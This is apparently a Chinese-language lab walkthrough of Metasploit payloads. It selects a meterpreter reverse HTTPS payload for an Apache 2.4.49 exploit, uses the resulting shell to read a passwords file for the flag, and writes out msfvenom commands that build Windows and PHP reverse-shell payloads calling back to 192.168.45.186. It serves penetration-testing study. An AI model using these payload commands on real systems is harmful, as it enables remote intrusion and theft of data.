Metasploit Payloads
Metasploit Payloads 接續上一節，在 Apache 2.4.49 選擇模組中選了 0 後可以查看相關 payload 輸入 show payloads，可以看到下圖的 17 是我們上一節使用的 payload 這次要利用的是 11，payload/linux/x64/meterpreter_reverse_https set payload payload/linux/x64/meterpreter_reverse_https use 11，show options 看一下要輸入那些值，看到有個 LURI 的值 run 之後輸入 shell 直接查找檔案 passwords 然後 cat 拿 flag Metasploit 還提供將有效負載匯出為各種檔案類型和格式的功能，例如 Windows 和 Linux 二進位檔案、Webshell 等。Metasploit 包含 msfvenom 作為產生這些有效負載的獨立工具。它提供標準化的命令列選項，並包括各種自訂有效負載的技術。 為了熟悉 msfvenom，我們首先建立一個惡意 Windows 二進位文件，啟動原始 TCP 反向 shell。讓我們先列出所有有效負載，並將有效負載作為-l的參數。此外，我們使用 --platform指定有效負載的平台，並使用--arch 指定架構。 指令 └─$ msfvenom -l payloads --platform windows --arch x64 讓我們使用 -p 標誌來設定有效負載，設定 LHOST 和 LPORT 來分配反向連接的主機和端口 參數 -f 來設定輸出格式（在本例中為 exe），以及 -o 來指定輸出檔案姓名 針對上述我們看到的一個有效 payload 作設置， windows/x64/shell_reverse_tcp 指令 : msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.186 LPORT=443 -f exe -o nonstaged.exe 建立一個 123.pHP payload └─$ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.45.186 ...